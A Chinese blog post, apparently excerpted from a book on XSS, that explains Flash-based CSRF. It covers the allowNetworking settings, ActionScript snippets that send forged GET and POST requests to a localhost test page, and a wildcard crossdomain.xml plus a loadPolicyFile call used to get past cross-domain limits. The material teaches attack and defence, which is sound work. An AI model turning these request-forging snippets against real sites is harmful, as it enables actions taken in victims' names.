Web前端安全之利用Flash进行csrf攻击
整理于《XSS跨站脚本攻击剖析与防御》—第6章
Flash在客户端提供了两个控制属性:
allowScriptAccess属性和allowNetworking属性,其中AllowScriptAccess控制Flash与HTML页面的通信,如果设置不恰当会导致XSS;而AllowNetworking控制Flash与外部网络的通信,如果设置不当会导致CSRF。
CSRF的中文名称是“跨站请求伪造”,和XSS一样是一种常见的Web程序漏洞(攻击手段),CSRF能够做的事情是以你的名义发送恶意请求,例如,发布一篇文章、发送一封邮件、进行网上银行转账等。在本书第7章会探讨CSRF。
allowNetworking属性
可选的值如下:
All:SWF 文件允许使用所有网络API,为默认值
internal :SWF文件不可以调用浏览器导航或浏览器交互 API,但可以调用任何其他联网API
none :SWF文件不可以调用任何联网API,也不可以调用任何SWF间通信API
当allowNetworking被设置为internal时,以下 API 被禁止:
navigateToURL(); fscommand(); ExternalInterface.call()。
当 allowNetworking 设置为none时,除了上面列出的API外,还会禁止以下 API:
sendToURL(); FileReference.download(); FileReference.upload(); Loader.load(); LocalConnection.connect(); LocalConnection.send(); NetConnection.connect(); NetStream.play(); Security.loadPolicyFile(); SharedObject.getLocal(); SharedObject.getRemote(); Socket.connect()。
如果想利用Flash进行CSRF,那么嵌入Flash的HTML标签的allowNetworking属性值必须为all或者internal。当allowNetworking=all时,允许使用所有的网络通信;当allowNetworking=internal时,尽管禁止了与浏览器交互的API,仍可以与网络通信,因此同样能实现CSRF。
在ActionScript 2.0中,可以使用LoadVars 类在Flash应用程序和服务器之间传输变量,请看示例:
stop();
var reVar:LoadVars = new LoadVars(); //定义接收服务器的返回信息
var sendVar:LoadVars = new LoadVars(); //定义发送到服务器的信息
sendVar.user = 'cnn4ry'; //初始化变量user
sendVar.msg = 'XSS'; //初始化变量msg
reVar.Value = 0; //初始化接收变量值Value=0
reVar.onLoad = getServerInfo;
sendVar.sendAndLoad("http://127.0.0.1/test.php",reVar,"POST");
trace("loading...");
function getServerInfo(Success:Boolean)
{
if(Success)
{
trace(reVar.Value)
}
else
{
trace("false!");
}
}
由此可见,在ActionScript 2.0中传输数据很方便。而在ActionScript 3.0中,原来的loadVars方法已经被废弃,改用一系列的类来实现与后台数据的交互,比如URLLoader类与URLVariables类。
例如,要向http://127.0.0.1/test.php发送一个GET请求,其中URL附加的参数是user=cnn4ry&msg=CSRF,实现的ActionScript代码如下:
function xss():void
{
var urlLoader:URLLoader=new URLLoader();
var request:URLRequest=new URLRequest();
request.url="http://127.0.0.1/test.php";
request.method=URLRequestMethod.GET;
request.data="user=cnn4ry&msg=CSRF";
urlLoader.load(request);
}
xss();
类似地,发送POST请求的操作也很简单,ActionScript代码如下:
import flash.net.URLRequest;
import flash.system.Security;
var url = new URLRequest("http://127.0.0.1/test.php");
var shellcode = new URLVariables();
shellcode = "user=cnn4ry&msg=CSRF";
url.method = "POST";
url.data = shellcode;
sendToURL(url);
stop();
但是,如果Flash要跨域读取数据,必须经过crossdomain.xml文件的允许。
假设目标站点有crossdomain.xml,如下:
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>
通配符的使用意味着允许访问来自任何域的文档,因此可以使用Flash跨域读取数据。如果目标站点根目录没有crossdomain.xml文件,但是设置了by-content-type等相关属性,同样可以利用Security.loadPolicyFile()来加载其他域中的跨域文件绕过限制,如:
Security.loadPolicyFile("http://www.test.com/sub/crossdomain.xml")
Web前端安全之利用Flash进行csrf攻击的更多相关文章
- Web前端开发如何利用css样式来控制Html中的h1/h2/h3标签不换行
H1/H2/H3/H4标题标签常常使用在一个网页中唯一标题.重要栏目.重要标题等情形下. H1在一个网页中最好只使用一次,如对一个网页唯一标题使用.H2.H3.H4标签则可以在一个网页中多次出现, ...
- 风炫安全web安全学习第二十八节课 CSRF攻击原理
风炫安全web安全学习第二十八节课 CSRF攻击原理 CSRF 简介 跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称为 One Click Attack 或 ...
- 前端安全系列:如何防止CSRF攻击?
背景 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点.在移动互联网时代,前端人员除了传统的 XSS.CSRF 等安全问题之外,又时常遭遇网络劫持 ...
- 前端安全之CSRF攻击
前端安全之CSRF攻击 转载请注明出处:unclekeith: 前端安全之CSRF攻击 CSRF定义 CSRF,即(Cross-site request forgery), 中文名为跨站请求伪造.是一 ...
- CSRF——攻击与防御
CSRF——攻击与防御 author: lake2 0x01 什么是CSRF攻击 CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意 ...
- 转-CSRF——攻击与防御
0x01 什么是CSRF攻击 CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意思,也就是在用户会话下对某个CGI做一些GET/PO ...
- csrf 攻击和防御
CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解: 攻击者盗用了你的身份,以你的名义发送恶 ...
- CSRF攻击与防御(写得非常好)
转自:http://blog.csdn.net/stpeace/article/details/53512283 CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forge ...
- 转!!CSRF攻击与防御(写得非常好)
CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解: 攻击者盗用了你的身份,以你的名义发送恶 ...
随机推荐
- 【学习笔记】第四章 Python3核心技术与实践--列表与元组
前面的课程,我们了解了Python 语言的学习方法,并且带你了解了 Python 必知的常用工具——Jupyter.接下来我们正式学习 Python 的具体知识. 对于每一门编程语言来说,数据结构都是 ...
- 学习数据库SQL语句2
2018年11月15日 下午 —————————————————————————————————————————————————————————————————————————————————— 1 ...
- 《JavaScript设计模式与开发实践》读书笔记-基础知识
笔记内容多摘录自<JavaScript设计模式与开发实践>(曾探著),侵删. 面向对象的JavaScript 1. 动态需要类型和鸭子类型 鸭子类型 如果它走起路来像鸭子,叫起来也是鸭子, ...
- Prometheus Operator 监控Kubernetes
Prometheus Operator 监控Kubernetes 1. Prometheus的基本架构 Prometheus是一个开源的完整监控解决方案,涵盖数据采集.查询.告警.展示整个监控流程 ...
- 利用IntelliJ IDEA与Maven开发scala程序,并打包提交到spark集群
https://zhuanlan.zhihu.com/p/23141509 https://blog.csdn.net/u011470552/article/details/54564636 http ...
- [AWS] 01 - What is Amazon EMR
[DE] ML on Big data: MLlib 关于 Amazon EMR 发布版本 利用 Amazon EMR 分析大数据 Amazon Athena 是一种交互式查询服务,让您能够轻松使用标 ...
- [LeetCode]sum合集
LeetCode很喜欢sum,里面sum题一堆. 1.Two Sum Given an array of integers, return indices of the two numbers suc ...
- 从零开始使用 Webpack 搭建 Vue 开发环境
创建项目 先创建一个空目录,在该目录打开命令行,执行 npm init 命令创建一个项目(无法执行 npm 命令?需要先安装 Node),这个过程会提示输入一些内容,随意输入就行,完成后会自动生成一个 ...
- Java StringTokenizer 类使用方法
Java StringTokenizer 属于 java.util 包,用于分隔字符串. StringTokenizer 构造方法: 1. StringTokenizer(String str) :构 ...
- 在Debian上用FVWM做自己的桌面
用FVWM做自己的桌面 Table of Contents 1. 前言 2. 学习步骤 3. 准备 3.1. 软件包 3.2. 字体 3.3. 图片 3.4. 参考资料 4. 环境 5. 布局 6. ...